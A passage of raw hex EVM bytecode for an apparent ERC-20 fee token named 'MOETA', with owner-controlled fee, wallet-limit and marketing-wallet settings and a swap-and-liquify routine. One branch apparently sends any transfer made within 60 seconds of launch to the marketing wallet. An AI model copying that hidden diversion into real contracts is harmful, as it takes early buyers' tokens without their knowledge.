d2591906146e4565b905080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060646002600554610d799190614769565b610d8391906147f2565b60088190555060646002600554610d9a9190614769565b610da491906147f2565b6009819055506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610e65816001612ce4565b4260108190555050565b610e77612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efb9061453f565b60405180910390fd5b600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8b90614895565b60405180910390fd5b6000600c6000600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600b6000600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a6000600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600d60066101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b6112ec612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611379576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113709061453f565b60405180910390fd5b60095481036113bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b490614927565b60405180910390fd5b6103e860016005546113cf9190614769565b6113d991906147f2565b811161141a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611411906149b9565b60405180910390fd5b8060098190555050565b6000611431848484612dd1565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061147a612b78565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211156114f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ee90614a4b565b60405180910390fd5b61159784611503612b78565b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061154d612b78565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115929190614a6b565b612b80565b600190509392505050565b6115aa612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162e9061453f565b60405180910390fd5b600854810361167b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167290614b11565b60405180910390fd5b6064600160055461168c9190614769565b61169691906147f2565b81116116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ce90614ba3565b60405180910390fd5b8060088190555050565b60006012905090565b600061178c6116f7612b78565b848460046000611705612b78565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117879190614bc3565b612b80565b6001905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6117c4612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118489061453f565b60405180910390fd5b600d60059054906101000a900460ff1660ff168160ff16036118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189f90614c8b565b60405180910390fd5b80600d60056101000a81548160ff021916908360ff16021790555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611917612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199b9061453f565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611a15612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a999061453f565b60405180910390fd5b801515600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2b90614cf7565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d60009054906101000a900460ff1681565b61dead81565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60029054906101000a900460ff1681565b60606040518060400160405280600581526020017f4d4f455441000000000000000000000000000000000000000000000000000000815250905090565b611c2f612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb39061453f565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4390614d89565b60405180910390fd5b6000600c6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600a6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006004600061207a612b78565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115612134576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212b90614e1b565b60405180910390fd5b6121d461213f612b78565b84846004600061214d612b78565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121cf9190614a6b565b612b80565b6001905092915050565b60006121f26121eb612b78565b8484612dd1565b6001905092915050565b60085481565b600d60059054906101000a900460ff1681565b600d60039054906101000a900460ff1681565b612230612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b49061453f565b60405180910390fd5b600f548103612301576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122f890614ead565b60405180910390fd5b80600f8190555050565b60066020528060005260406000206000915054906101000a900460ff1681565b612333612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b79061453f565b60405180910390fd5b801515600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503612452576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244990614cf7565b60405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6124b5612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612542576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125399061453f565b60405180910390fd5b600a8260ff161115612589576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258090614f3f565b60405180910390fd5b60058160ff1611156125d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c790614fab565b60405180910390fd5b81600d60006101000a81548160ff021916908360ff16021790555080600d60016101000a81548160ff021916908360ff1602179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6126bf612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461274c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127439061453f565b60405180910390fd5b60078360ff161115612793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278a9061503d565b60405180910390fd5b60058260ff1611156127da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d1906150a9565b60405180910390fd5b60088160ff161115612821576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128189061513b565b60405180910390fd5b82600d60026101000a81548160ff021916908360ff16021790555081600d60036101000a81548160ff021916908360ff16021790555080600d60046101000a81548160ff021916908360ff160217905550505050565b600d60019054906101000a900460ff1681565b612892612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461291f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129169061453f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361298e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612985906151cd565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6129d9612b78565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612a66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a5d9061453f565b60405180910390fd5b60004711612aa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa09061525f565b60405180910390fd5b60004790506000612ab8611bae565b73ffffffffffffffffffffffffffffffffffffffff1682604051612adb906152b0565b60006040518083038185875af1925050503d8060008114612b18576040519150601f19603f3d011682016040523d82523d6000602084013e612b1d565b606091505b5050905080612b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b5890615337565b60405180910390fd5b5050565b600d60049054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be6906153c9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c559061545b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b801515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503612d76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6d906154ed565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e379061557f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ea690615611565b60405180910390fd5b60008111612ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ee9906156a3565b60405180910390fd5b612efb836118c6565b811115612f3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3490615735565b60405180910390fd5b603c60105442612f4d9190614a6b565b11612f7857600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561301f5750600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b806130cd5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156130cc5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b1561311857600954811115613117576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161310e906157c7565b60405180910390fd5b5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166131c25760085481613176846118c6565b6131809190614bc3565b11156131c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131b890615859565b60405180910390fd5b5b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806132635750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806132f35750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156132f257506000600d60019054906101000a900460ff16600d60009054906101000a900460ff166132ed9190615879565b60ff16145b5b8061339d5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561339c57506000600d60049054906101000a900460ff16600d60039054906101000a900460ff16600d60029054906101000a900460ff1661338d9190615879565b6133979190615879565b60ff16145b5b156134b85780600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546133f19190614a6b565b9250508190555080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546134479190614bc3565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516134ab9190614239565b60405180910390a3613c71565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546135079190614a6b565b92505081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361380e576064600d60009054906101000a900460ff1660ff16826135839190614769565b61358d91906147f2565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546135db9190614bc3565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064600d60009054906101000a900460ff1660ff16856136519190614769565b61365b91906147f2565b6040516136689190614239565b60405180910390a36064600d60019054906101000a900460ff16600d60009054906101000a900460ff1661369c9190615879565b60ff16826136aa9190614769565b6136b491906147f2565b816136bf9190614a6b565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461370d9190614bc3565b925050819055506064600d60019054906101000a900460ff1660ff16826137349190614769565b61373e91906147f2565b6005600082825461374f9190614a6b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064600d60019054906101000a900460ff16600d60009054906101000a900460ff166137d19190615879565b60ff16856137df9190614769565b6137e991906147f2565b846137f49190614a6b565b6040516138019190614239565b60405180910390a3613c70565b6064600d60049054906101000a900460ff16600d60029054906101000a900460ff1661383a9190615879565b61384491906158b0565b60ff16816138529190614769565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546138a09190614bc3565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064600d60049054906101000a900460ff16600d60029054906101000a900460ff166139229190615879565b61392c91906158b0565b60ff168461393a9190614769565b6040516139479190614239565b60405180910390a3600f5461395b306118c6565b1115613aa25760006002600d60049054906101000a900460ff16600d60029054906101000a900460ff16600d60009054906101000a900460ff1661399f9190615879565b6139a99190615879565b60ff16600d60049054906101000a900460ff1660ff166139c8306118c6565b6139d29190614769565b6139dc91906147f2565b6139e691906147f2565b9050613a04816139f5306118c6565b6139ff9190614a6b565b613c76565b613a37816064600d60059054906101000a900460ff1660ff1647613a289190614769565b613a3291906147f2565b613eb9565b600d60069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015613a9f573d6000803e3d6000fd5b50505b6064600d60049054906101000a900460ff16600d60039054906101000a900460ff16600d60029054906101000a900460ff16613ade9190615879565b613ae89190615879565b60ff1682613af69190614769565b613b0091906147f2565b81613b0b9190614a6b565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613b599190614bc3565b925050819055506064600d60039054906101000a900460ff1660ff1682613b809190614769565b613b8a91906147f2565b60056000828254613b9b9190614a6b565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6064600d60049054906101000a900460ff16600d60039054906101000a900460ff16600d60029054906101000a900460ff16613c2d9190615879565b613c379190615879565b60ff1685613c459190614769565b613c4f91906147f2565b84613c5a9190614a6b565b604051613c679190614239565b60405180910390a35b5b505050565b6000600267ffffffffffffffff811115613c9357613c926158e1565b5b604051908082528060200260200182016040528015613cc15781602001602082028036833780820191505090505b5090503081600081518110613cd957613cd8615910565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613d80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613da491906146e4565b81600181518110613db857613db7615910565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613e1f30600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612b80565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613e839594939291906159fd565b600060405180830381600087803b158015613e9d57600080fd5b505af1158015613eb1573d6000803e3d6000fd5b505050505050565b613ee630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612b80565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401613f6f96959493929190614606565b60606040518083038185885af1158015613f8d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613fb2919061467c565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613ff3578082015181840152602081019050613fd8565b83811115614002576000848401525b50505050565b6000601f19601f8301169050919050565b600061402482613fb9565b61402e8185613fc4565b935061403e818560208601613fd5565b61404781614008565b840191505092915050565b6000602082019050818103600083015261406c8184614019565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006140a482614079565b9050919050565b6140b481614099565b81146140bf57600080fd5b50565b6000813590506140d1816140ab565b92915050565b6000819050919050565b6140ea816140d7565b81146140f557600080fd5b50565b600081359050614107816140e1565b92915050565b6000806040838503121561412457614123614074565b5b6000614132858286016140c2565b9250506020614143858286016140f8565b9150509250929050565b60008115159050919050565b6141628161414d565b82525050565b600060208201905061417d6000830184614159565b92915050565b60006020828403121561419957614198614074565b5b60006141a7848285016140c2565b91505092915050565b6000819050919050565b60006141d56141d06141cb84614079565b6141b0565b614079565b9050919050565b60006141e7826141ba565b9050919050565b60006141f9826141dc565b9050919050565b614209816141ee565b82525050565b60006020820190506142246000830184614200565b92915050565b614233816140d7565b82525050565b600060208201905061424e600083018461422a565b92915050565b60006020828403121561426a57614269614074565b5b6000614278848285016140f8565b91505092915050565b60008060006060848603121561429a57614299614074565b5b60006142a8868287016140c2565b93505060206142b9868287016140c2565b92505060406142ca868287016140f8565b9150509250925092565b600060ff82169050919050565b6142ea816142d4565b82525050565b600060208201905061430560008301846142e1565b92915050565b61431481614099565b82525050565b600060208201905061432f600083018461430b565b92915050565b61433e816142d4565b811461434957600080fd5b50565b60008135905061435b81614335565b92915050565b60006020828403121561437757614376614074565b5b60006143858482850161434c565b91505092915050565b6143978161414d565b81146143a257600080fd5b50565b6000813590506143b48161438e565b92915050565b600080604083850312156143d1576143d0614074565b5b60006143df858286016140c2565b92505060206143f0858286016143a5565b9150509250929050565b6000806040838503121561441157614410614074565b5b600061441f8582860161434c565b92505060206144308582860161434c565b9150509250929050565b6000806040838503121561445157614450614074565b5b600061445f858286016140c2565b9250506020614470858286016140c2565b9150509250929050565b60008060006060848603121561449357614492614074565b5b60006144a18682870161434c565b93505060206144b28682870161434c565b92505060406144c38682870161434c565b9150509250925092565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260008201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b6000614529602183613fc4565b9150614534826144cd565b604082019050919050565b600060208201905081810360008301526145588161451c565b9050919050565b7f796f752063616e206f6e6c7920616464206c6971756964697479206f6e63652e600082015250565b6000614595602083613fc4565b91506145a08261455f565b602082019050919050565b600060208201905081810360008301526145c481614588565b9050919050565b6000819050919050565b60006145f06145eb6145e6846145cb565b6141b0565b6140d7565b9050919050565b614600816145d5565b82525050565b600060c08201905061461b600083018961430b565b614628602083018861422a565b61463560408301876145f7565b61464260608301866145f7565b61464f608083018561430b565b61465c60a083018461422a565b979650505050505050565b600081519050614676816140e1565b92915050565b60008060006060848603121561469557614694614074565b5b60006146a386828701614667565b93505060206146b486828701614667565b92505060406146c586828701614667565b9150509250925092565b6000815190506146de816140ab565b92915050565b6000602082840312156146fa576146f9614074565b5b6000614708848285016146cf565b91505092915050565b6000604082019050614726600083018561430b565b614733602083018461430b565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614774826140d7565b915061477f836140d7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156147b8576147b761473a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006147fd826140d7565b9150614808836140d7565b925082614818576148176147c3565b5b828204905092915050565b7f63616e6e6f7420757064617465206d61726b6574696e6757616c6c657420746f60008201527f2073616d6520616464726573732e000000000000000000000000000000000000602082015250565b600061487f602e83613fc4565b915061488a82614823565b604082019050919050565b600060208201905081810360008301526148ae81614872565b9050919050565b7f63616e6e6f7420757064617465206d61785478416d6f756e7420746f2073616d60008201527f652076616c75652e000000000000000000000000000000000000000000000000602082015250565b6000614911602883613fc4565b915061491c826148b5565b604082019050919050565b6000602082019050818103600083015261494081614904565b9050919050565b7f6d61785478416d6f756e74206d757374206265203e202e3125206f6620746f7460008201527f616c20737570706c792e00000000000000000000000000000000000000000000602082015250565b60006149a3602a83613fc4565b91506149ae82614947565b604082019050919050565b600060208201905081810360008301526149d281614996565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e63652e0000000000000000000000000000000000000000000000602082015250565b6000614a35602983613fc4565b9150614a40826149d9565b604082019050919050565b60006020820190508181036000830152614a6481614a28565b9050919050565b6000614a76826140d7565b9150614a81836140d7565b925082821015614a9457614a9361473a565b5b828203905092915050565b7f63616e6e6f7420757064617465206d617857616c6c6574416d6f756e7420746f60008201527f2073616d652076616c75652e0000000000000000000000000000000000000000602082015250565b6000614afb602c83613fc4565b9150614b0682614a9f565b604082019050919050565b60006020820190508181036000830152614b2a81614aee565b9050919050565b7f6d617857616c6c6574416d6f756e74206d757374206265203e3125206f66207460008201527f6f74616c20737570706c792e0000000000000000000000000000000000000000602082015250565b6000614b8d602c83613fc4565b9150614b9882614b31565b604082019050919050565b60006020820190508181036000830152614bbc81614b80565b9050919050565b6000614bce826140d7565b9150614bd9836140d7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614c0e57614c0d61473a565b5b828201905092915050565b7f63616e6e6f74207570646174652065746850657263656e74546f4c697175696460008201527f69747920746f2073616d652076616c75652e0000000000000000000000000000602082015250565b6000614c75603283613fc4565b9150614c8082614c19565b604082019050919050565b60006020820190508181036000830152614ca481614c68565b9050919050565b7f77616c6c6574206164647265737320616c7265616479206578636c756465642e600082015250565b6000614ce1602083613fc4565b9150614cec82614cab565b602082019050919050565b60006020820190508181036000830152614d1081614cd4565b9050919050565b7f63616e6e6f7420757064617465206c697175696469747957616c6c657420746f60008201527f2073616d6520616464726573732e000000000000000000000000000000000000602082015250565b6000614d73602e83613fc4565b9150614d7e82614d17565b604082019050919050565b60006020820190508181036000830152614da281614d66565b9050919050565b7f45524332303a2064656372656173656420616c6c6f776e6163652062656c6f7760008201527f207a65726f2e0000000000000000000000000000000000000000000000000000602082015250565b6000614e05602683613fc4565b9150614e1082614da9565b604082019050919050565b60006020820190508181036000830152614e3481614df8565b9050919050565b7f63616e6e6f7420757064617465206d696e696d756d54